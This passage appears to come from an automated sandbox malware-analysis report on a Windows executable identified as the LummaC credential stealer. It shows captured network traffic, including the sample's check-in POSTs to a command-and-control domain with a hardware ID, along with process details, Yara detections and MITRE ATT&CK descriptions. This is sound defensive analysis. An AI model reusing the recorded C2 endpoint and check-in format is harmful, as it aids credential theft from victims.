e6 2a 93 e7 7a 72 c9 1d 95 9c 8f c7 74 69 24 df 2d d1 cd 37 07 3a 14 f5 94 f0 89 f5 69 0a 76 18 c2 fd 6f b5 a8 b0 ea 8b 78 8f 01 ea 75 1f b5 65 f8 Data Ascii: 62(=Uwr>$.1WpN)0_a^ATqH)q/tE4acZ-`X 8oF[$xp;J&f\|HHH"2,q\|FQyD:vPQ}=/rh+sJg+.*zrti$-7:ivoxue
2024-12-27 14:09:07 UTC	15331	OUT	Data Raw: b5 fe 6d 73 e9 e7 2e c0 5b 6d 02 90 b0 00 f3 ce 3d ee c5 01 8b d9 54 46 91 e8 70 d6 05 b3 17 f5 80 5a 92 44 ad 16 03 37 76 da e5 d4 7b 79 35 f0 8c c9 0e 5d 0c 78 de 29 26 9f 53 3d cd 71 7b d2 5c 7c 84 73 e3 7b ac 14 bc 97 75 20 35 46 02 e0 3b 70 0c 1c 01 df 8d 82 65 b7 be 68 7f 69 e1 65 3a d3 88 e8 72 67 8b 4b 16 28 58 37 b6 53 b8 25 4f f3 18 b0 b4 c8 6e a8 57 59 0b 49 6e 41 12 cb 51 aa 3d 6e 48 2d 65 a5 3e aa 3a 4b 55 5e e8 fe a2 0b 82 54 c9 01 5b 12 e0 c3 ba 99 a0 a1 cc d4 ab 62 be 3c cc 62 e6 f1 e8 8d 53 6f b0 57 86 1a d0 ba 5b f4 90 fe 1e 93 fc 73 25 9a 49 70 84 14 e8 6d c0 03 62 3e 40 89 57 1f a0 2b d1 94 92 4d 14 6f 6a 33 f7 46 19 09 82 55 7b b7 7a 3b 24 4b 70 8b 42 6c 30 36 0f df b1 b5 6b d6 8c 95 2a ea 5a 60 86 82 cb 93 77 50 d3 fb 9a 97 44 a4 c2 Data Ascii: ms.[m=TFpZD7v{y5]x)&S=q{\\|s{u 5F;pehie:rgK(X7S%OnWYInAQ=nH-e>:KU^T[b<bSoW[s%Ipmb>@W+Moj3FU{z;$KpBl06k*Z`wPD
2024-12-27 14:09:11 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:09:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=adl947u73llu46r2sjdppbi9bn; expires=Tue, 22 Apr 2025 07:55:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lIJq57gtluWx231sGhA284ccgufgeQrrBg6nrOZU4HMzsYCPOsXpOVBRhdwH3bkyRyRcR08x4SjuxGBJcNiyjKltsF0R82RUI4UclfPT%2FO9EyLw3hDmPMRKJYlDLMtMALQY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89e2f93dacde97-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1539&min_rtt=1529&rtt_var=595&sent=212&recv=592&lost=0&retrans=0&sent_bytes=2838&recv_bytes=573223&delivery_rate=1808049&cwnd=231&unsent_bytes=0&cid=bb9d2e8bd560878a&ts=3897&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49716	104.21.11.101	443	2124	C:\Users\user\Desktop\JpzbUfhXi0.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 14:09:13 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: mindhandru.buzz
2024-12-27 14:09:13 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 36 44 38 39 42 43 38 30 34 46 45 36 36 34 36 37 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=6D89BC804FE66467BEBA0C6A975F1733
2024-12-27 14:09:13 UTC	1121	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 14:09:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c4c227sb7tenav5imhrl0g3m0c; expires=Tue, 22 Apr 2025 07:55:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=l4xgGQPJRUYoXQrOoHR8sVDBetbYtYQIjg4ICM1AnfDvYksj6QAsvKcvOVmxjBMTncn8TEXO92my%2BwtBlOJF3%2FWU3mvcxXJhfbZcdTbh15k8blke3dbqybB3GeOC6XiJNko%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f89e31a2e027283-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1815&min_rtt=1808&rtt_var=692&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=987&delivery_rate=1564844&cwnd=244&unsent_bytes=0&cid=bf8a8bbc49c67c32&ts=809&x=0"
2024-12-27 14:09:13 UTC	210	IN	Data Raw: 63 63 0d 0a 75 70 55 7a 65 34 51 51 4e 4a 6a 35 66 4f 48 2b 5a 4e 57 41 67 4b 49 57 49 66 6b 4d 76 78 32 67 39 32 6e 4c 53 41 71 45 57 33 37 68 37 68 45 4f 70 69 6f 57 38 49 30 49 6b 63 51 34 2b 74 79 76 6b 79 34 55 31 7a 36 4f 4b 49 37 47 57 50 68 6d 4f 37 49 48 55 64 58 7a 56 53 65 72 64 46 48 2b 31 78 6d 5a 6d 30 62 35 6f 75 62 57 4e 42 76 4a 49 4a 31 34 67 73 31 59 74 6d 52 78 70 69 35 63 67 4c 64 62 44 2f 42 67 44 73 54 57 49 4d 37 50 58 4f 43 75 73 70 4d 6a 44 38 67 39 6a 44 4f 52 77 54 58 6b 4a 32 7a 69 42 31 48 65 38 46 56 56 34 57 68 52 75 74 56 65 68 34 70 47 37 37 43 73 67 48 4d 44 77 7a 7a 43 51 41 3d 3d 0d 0a Data Ascii: ccupUze4QQNJj5fOH+ZNWAgKIWIfkMvx2g92nLSAqEW37h7hEOpioW8I0IkcQ4+tyvky4U1z6OKI7GWPhmO7IHUdXzVSerdFH+1xmZm0b5oubWNBvJIJ14gs1YtmRxpi5cgLdbD/BgDsTWIM7PXOCuspMjD8g9jDORwTXkJ2ziB1He8FVV4WhRutVeh4pG77CsgHMDwzzCQA==
2024-12-27 14:09:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	09:08:48
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\JpzbUfhXi0.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\JpzbUfhXi0.exe"
Imagebase:	0x50000
File size:	2'895'872 bytes
MD5 hash:	3D433B38DDD7681112B41AC5D55E0E50
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2167777501.0000000001626000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2189381009.0000000001626000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2167683205.0000000001681000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	09:09:23
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=JpzbUfhXi0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	09:09:24
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1984,i,7879018632765314045,4288442333938110283,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	09:09:27
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=JpzbUfhXi0.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	09:09:28
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2044,i,2575849442464606612,9070405180139745896,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report JpzbUfhXi0.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 105

Chrome Cache Entry: 106

Windows Analysis Report
JpzbUfhXi0.exe

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre